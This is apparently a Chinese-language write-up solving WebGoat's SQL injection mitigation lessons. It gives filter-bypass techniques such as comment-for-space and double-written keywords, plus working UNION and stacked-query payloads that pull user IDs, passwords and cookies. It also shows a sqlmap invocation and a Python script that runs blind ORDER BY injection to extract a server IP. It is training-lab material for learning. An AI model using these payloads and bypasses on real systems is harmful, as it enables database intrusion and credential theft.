--- disqus: jpower --- # OWASP TOP10 Injection(SQL Injection Mitigation) ## 9 Input validation alone is not enough!! Q: 這一題有基本的防護措施,禁止使用者輸入空白符。嘗試取得資料表user_system_data的資料。 A: 空白繞過常見的方法有以下五項: ``` (1)用多行註解/**/繞過 (2)空白字符繞過(%20 %09 %0a %0b %0c %0d %a0 %00 tab符 等) (3)括號繞過 (4)反引號` (5)兩個空格 ``` 方法一,可以使用SELECT的方式取得,空白符可以使用註解 ==/**/== 取代。 ``` 1';select/**/*/**/from/**/user_system_data-- ``` ![](https://i.imgur.com/154s0tf.png) 方法二,可以使用UNION的方式取得,空白符可以使用註解 ==/**/== 取代。 ``` Smith'/**/UNION/**/SELECT/**/userid,user_name,password,cookie,'A','A',4/**/FROM/**/user_system_data;-- ``` ![](https://i.imgur.com/EAfwmZb.png) ## 10 Input validation alone is not enough!! Q: 這一題也有基本的防護措施,說明顯示它禁止使用空白與SQL關鍵字。 ![](https://i.imgur.com/CdU1sr2.png) 關鍵字繞過 ``` (1)關鍵字内插入/**/ (2)大小寫改寫繞過 (3)雙寫繞過(關鍵字刪除情況下可使用) (4)內聯註解繞過(針對mySQL)(把一些特有的僅在mySQL上的語句放在 /*!...*/ 中,這些語句在其它資料庫中是不會被執行,但在mySQL中會執行) (5)關鍵字内插入<>(有些網站為了防止xss可能過濾<>) (6)and和or可以用&&、|| 繞過 ``` A: 先測試空白移除掉的基SQL injection指令,發現可以執行。 ``` 1'OR'1'='1';-- ``` ![](https://i.imgur.com/8BFpRo1.png) 使用雙寫繞過關鍵字與 ==/**/== 繞過空白,發現可以執行。 ``` 1'OR'1'='1';SELSELECTECT/**/*/**/FRFROMOM/**/user_system_data-- ``` ![](https://i.imgur.com/HZy2xPp.png) 如果要用UNOION方式依樣可以透過雙寫繞過關鍵字與 ==/**/== 繞過空白,結果發現UNION不需要雙寫。 ``` 1'/**/UNIUNIONON/**/SELSELECTECT/**/userid,user_name,password,cookie,'A','A',4/**/FRFROMOM/**/user_system_data;-- ``` ![](https://i.imgur.com/u3XKqtw.png) ``` 1'/**/UNION/**/SELSELECTECT/**/userid,user_name,password,cookie,'A','A',4/**/FRFROMOM/**/user_system_data;-- ``` ![](https://i.imgur.com/RnJrTU1.png) ## 12 Order by clause Q: 嘗試取得webgoat-prd的IP(xxx.130.219.202)(題目說submit那一格沒有SQL inhection漏洞,所以要測試的是其他的項目) A: 用brupsuite檢視一下網站功能點選時候送什麼資料到後端,發現在點排序(欄位的小箭頭)的時候,會用GET方式傳送column參數的值。 ![](https://i.imgur.com/AIjIukI.png) 將請求內容另存成request.txt 使用sqlmap進行測試,可以發現column存在time-based blind ORDER BY GROUP BY的SQL injection漏洞。 ``` sqlmap -r request.txt --dbms --no-cast ``` 顯示存在6個database ![](https://i.imgur.com/Z4WOAcp.png) 利用brupsuite的repeater功能進行測試,當column輸入為hostname、ip回覆內容都是正常的,故意輸入錯誤的值ipp觀察錯誤訊息,會發現這邊使用的SQL語法為 ``` select id,hostname,ip,mac,status,description from servers where status <> 'out of order' order by ipp ``` ![](https://i.imgur.com/bw1F3OC.png) Order By 類型的 SQL injection 常用的payload如下: ``` SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname END) ``` 我們要替換成 ``` SELECT * FROM users ORDER BY (CASE WHEN (SUBSTRING((SELECT ip FROM servers WHERE hostname=webgoat-prd),1,1)='1') THEN hostname ELSE ip END) ``` 藉由判斷webgoat-prd的IP的一個字是否為'1'為==真==或為==假==來決定用hostname或ip來排序(order by) ``` SUBSTRING(SELECT ip FROM servers WHERE hostname=webgoat-prd,1,1)='1' ``` 猜測webgoat-prd的IP第一個字為1,可以看到是用hostname排序 ![](https://i.imgur.com/4Yy4GgZ.png) 猜測webgoat-prd的IP第一個字為2,可以看到是用ip排序 ![](https://i.imgur.com/54JpoX3.png) 因此可以判斷webgoat-prd的IP第一個字是1 以此類推可以寫一隻python來破解webgoat-prd的IP: ``` import requests,json url = 'http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=' headersdata = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36','Cookie':'JSESSIONID=efH701QRBnx4ENfY9qy_iR5QpctP-AlMfG_RNeGF'} iplist=[str(i) for i in range(0,10)] print(iplist) ans = '' for i in range(1,4): for p in iplist: respones = requests.get(url+'(CASE+WHEN+(SUBSTRING((SELECT+ip+FROM+servers+WHERE+hostname=\'webgoat-prd\'),'+str(i)+',1)=\''+str(p)+'\')+THEN+hostname+ELSE+ip+END)', headers=headersdata) result = json.loads(respones.text)[0]['id'] if result=='3': ans = ans + p print(ans) ``` ![](https://i.imgur.com/86uokmh.png) ==webgoat-prd的IP:104.130.219.202== --- 空白與關鍵字繞過方法參考來源: 1. https://blog.51cto.com/u_15072903/4074643 2. https://blog.icansudo.top/sqlzhu-ru-rao-guo-zi-shi-zong-jie ###### tags: `webgoat`,`Injection`